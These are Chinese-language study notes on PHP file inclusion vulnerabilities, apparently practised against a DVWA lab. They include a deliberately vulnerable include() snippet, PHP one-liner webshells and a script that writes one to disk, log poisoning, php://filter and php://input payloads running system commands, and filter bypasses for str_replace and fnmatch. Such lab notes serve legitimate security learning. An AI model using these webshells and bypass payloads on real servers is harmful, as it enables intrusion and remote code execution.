1.文件包含
需要加载一些文件代码时用到文件包含命令,有文件包含功能就可能有文件包含漏洞。
2.分类
函数分类
PHP中的四个包含文件函数include(),include_once(),require()和require_once().
include():一个文件存在错误的话,那么程序不会中端,而是继续执行,并显示一个警告错误。
require():一个文件存在错误的话,那么程序就会中断执行了,并显示致命错误
include_once(), require_once()会先检查目标文件的内容是不是在之前就已经导入过了,如果是的话,便不会再次重复导入同样的内容。
文件包含方式分类
本地包含:本服务器的文件
远程包含:远程服务器的文件(把远程代码加入到自己的代码中执行)
本地包含
<?php
$filename = $_GET['filename'];
include($filename);
// 下面这两种写法就做本地包含
//include('./webshell.jpg');
//include('C:\phpStudy\PHPTutorial\WWW\webshell.jpg')
?>
远程包含
需要打开一些配置,如下图即可
3.文件包含 》》日志文件
当某个PHP文件存在本地包含漏洞,而却无法上传正常文件,这就意味着有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵。
Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日 志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中.
看到数据被编码,可以通过抓包修改数据。
一句话木马
<?php @eval($_POST(111))?>
<?php $file=fopen('xx.php','w');fputs($file,'<?php @eval($_POST[666]);?>');?>
# 创建 xxx.php文件并写入 <?php @eval($_POST[666]);?>。
4.文件包含 》》读取php文件
php://filter/read=convert.base64-encode/resource= x.php # 文件路径
5.文件包含 》》执行php系统命令。
构造URL: http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input,并且提 交请求体数据为:<?php system('net user');?>,这句话是利用php代码来执行操作系统指令,其实你执 行什么代码都可以,比如<?php system('netstat -an');?>
注意:只有在allow _url_include为on的时候才可以使用。
6.str_replace函数绕过
这是一个替换数据的函数,而且只替换一次,所以有漏洞。
使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。
例如page=hthttp://tp://IP/phpinfo.txt时,str_replace函数会将http://删除,
于是page=http://IP/phpinfo.txt,成功执行远程命令。
同时,因为替换的只是“../”、“..\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。
用在的操作系统不同 /unix linux \windows
1、本地文件包含,写多个../那么str_replace其实只替换一次,那么我们的相对路径还能生效 http://192.168.0.103/dvwa/vulnerabilities/fi/page=..././..././..././..././..././
xampp/htdocs/dvwa/php.ini
2、绝对路径不受任何影响
http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini
3、远程文件包含
http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/php info.txt
7.fnmatch函数绕过
if(!fnmatch("file*",$file)&&$file!="include.php"),当文件既不是"include.php"也不
是"file*"(文件名file开头)时才抛出错误,反之意思,如果文件名符合其中一个条件既可以。
page=file:///C:/xampp/htdocs/dvwa/php.ini
file协议刚好满足"file*"(文件名file开头)。注意,file协议用的是三个反斜杠昂 构造url
file:\\\ 后面添 文件路径